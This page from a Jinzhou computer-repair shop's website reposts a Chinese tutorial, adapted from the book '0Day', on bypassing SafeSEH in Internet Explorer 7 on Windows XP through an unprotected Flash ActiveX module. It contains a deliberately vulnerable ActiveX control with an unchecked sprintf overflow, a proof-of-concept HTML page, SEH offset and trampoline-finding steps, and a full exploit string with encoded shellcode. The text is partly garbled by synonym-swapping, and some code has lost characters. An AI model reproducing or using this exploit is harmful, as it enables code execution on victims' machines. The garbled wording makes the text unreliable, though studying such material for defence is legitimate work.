锦州市广厦电脑维修|上门维修电脑|上门做系统|0416-3905144热诚服务,锦州广厦维修电脑,公司IT外包服务
topFlag1 设为首页
topFlag3 收藏本站
 
maojin003 首 页 公司介绍 服务项目 服务报价 维修流程 IT外包服务 服务器维护 技术文章 常见故障
锦州市广厦电脑维修|上门维修电脑|上门做系统|0416-3905144热诚服务技术文章
如何运用ActiveX控件来躲过SafeS.E.H

作者: 佚名  日期:2017-10-11 17:43:38   来源: 本站整理

 [阐发情况] 体系: Windows XP Professional sp3
编译器: Visual Studio 2008
调试器: OllyDbg 1.10
浏览器: Internet Explorer 7
控件版本: Adobe Flash ActiveX 9.0.124 , 这里要留意没有9.2.124这个版本, 9.0.124是末了没有启用SafeS.E.H的。
阐明: 这篇文参考自《0Day》, 由于”应用Adobe Flash Player ActiveX控件绕过SafeS.E.H” 这节有一些小坑, 不留意能够会试验失败, 以是写了这篇文来一步一步超出这些坑。
相干下载:
OllyFindAddr 链接: https://pan.baidu.com/s/1o8E8l8A 暗码: kc2bAdobe Flash ActiveX 9.0.124 链接: https://pan.baidu.com/s/1i5h802T 暗码: 4sf3Internet Explore 7 链接: https://pan.baidu.com/s/1b9qMy6 暗码: 8g88
0×01 后期筹备
新建一个MFC ActiveX控件, 增加一个test办法


在test办法完成里增加代码


#include #include DWORD MyException(){    printf("There is an exception");    getchar();    return 1;}void CVulnerAX_SEHCtrl::test(LPCTSTR str){    //AFX_MANAGE_STATE(AfxGetStaticModuleState());    // TODO: 在此增加调剂处置法式代码    printf("aaaa");    // 定位函数的标志    char dest[100];    sprintf(dest,"%s",str);    int zero=0;    try    {        zero=1/zero;    }    except(MyException())    {    }}

如图设置好名目属性, 抉择release版本, 禁用优化, 编译链接, 末了在cmd键入”Regsvr32 /path/to/activex.ocx”注册控件
html>  body>  object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,28,0" width="160" height="260">  param name="movie" value="1.swf" />  param name="quality" value="high" />  embed src="1.swf" quality="high" pluginspage="http://www.adobe.com/shockwave/download/download.cgi?P1_Prod_Version=ShockwaveFlash" type="application/x-shockwave-flash" width="160" height="260">embed>object>object classid="clsid:A15FD9CA-B0AA-4F51-9D26-B045CEEB9BA5" id="test">object>  script>  var s = "\u9090";while (s.length 45) {s += "\u9090";}test.test(s);  script>  body>  html>
新建一个txt文本, 帖入以上代码, 更名为poc.html

留意这里的”clsid:A15FD9CA-B0AA-4F51-9D26-B045CEEB9BA5″, 在ActiveX工程里找到
0×02 阐发栈结构
双击poc.html主动挪用IE浏览器关上, 抉择容许ActiveX控件


离开这里, 用OllyDbg附加下来

断下后选”E”找到VulnerAX_SEH.ocx, 点出来, 在printf(“aaaa”)下断运转

断下后离开call sprintf, 追随栈地点, 再往下一步

能够看到数据曾经copy到栈上, 肇端地点0x01dcf4e4

View->SEH chain, 定位到最近的SE Handler 0x01dcf560, 0x01dcf560-0x01dcf4e4=124 byte

Plugins->OllyFindAddr->Overflow return address->Find CALL/JMP [EBP+N], 抉择”L”, 找到0x300b2d1c这个跳板

改动poc.html
var s = "\u9090";while (s.length 60) {s += "\u9090";}s+="\u9090\u9090";s+="\u2D1C\u300B";
再次关上, OD附加下来, 离开call sprintf再走一步, 如今SE Handler曾经笼罩成跳板地点

先在0x300b2d1c下断, 离开这里Shift+F9运转

断下后跟进call, 能够看到这时候回到了S.E.H结构


0×03 exploit
SE Handler的跳板地点会滋扰shellcode, 将shellcode全体放到上面, 用一个短跳跳曩昔
// junk(120 byte)+jmp short(2 byte)+junk(2 byte)+board(4 byte)+junk(8 byte)+payload(114 byte)var s = "\u9090";while (s.length 60) {s += "\u9090";}s+="\u0EEB\u9090";        # 0xEB0E->jmp +14(绝对于下一条指令地点+14 byte)s+="\u2D1C\u300B";        # 跳板s+="\u9090\u9090\u9090\u9090";        # junks+="\ud231\u30b2\u8b64\u8b12\u0c52\u528b\u8b1c\u0842\u728b\u8b20\u8012\u0c7e\u7533\u89f2\u03c7\u3c78\u578b\u0178\u8bc2\u207a\uc701\ued31\u348b\u01af\u45c6\u3e81\u6146\u6174\uf275\u7e81\u4508\u6978\u7574\u8be9\u247a\uc701\u8b66\u6f2c\u7a8b\u011c\u8bc7\uaf7c\u01fc\u68c7\u2067\u0120\u7968\u7530\u686e\u7720\u6f6f\ue189\u49fe\u310b\u51c0\uff50\u90d7";test.test(s);
如上构造250 byte的shellcode, OD再次附加下来, 离开call sprintf往下一步

F9间接运转, pwn~



热门文章
  • 机械革命S1 PRO-02 开机不显示 黑...
  • 联想ThinkPad NM-C641上电掉电点不...
  • 三星一体激光打印机SCX-4521F维修...
  • 通过串口命令查看EMMC擦写次数和判...
  • IIS 8 开启 GZIP压缩来减少网络请求...
  • 索尼kd-49x7500e背光一半暗且闪烁 ...
  • 楼宇对讲门禁读卡异常维修,读卡芯...
  • 新款海信电视机始终停留在开机界面...
  • 常见打印机清零步骤
  • 安装驱动时提示不包含数字签名的解...
  • 共享打印机需要密码的解决方法
  • 图解Windows 7系统快速共享打印机的...
  • 锦州广厦电脑上门维修

    报修电话:13840665804  QQ:174984393 (联系人:毛先生)   
    E-Mail:174984393@qq.com
    维修中心地址:锦州广厦电脑城
    ICP备案/许可证号:辽ICP备2023002984号-1
    上门服务区域: 辽宁锦州市区
    主要业务: 修电脑,电脑修理,电脑维护,上门维修电脑,黑屏蓝屏死机故障排除,无线上网设置,IT服务外包,局域网组建,ADSL共享上网,路由器设置,数据恢复,密码破解,光盘刻录制作等服务

    技术支持:微软等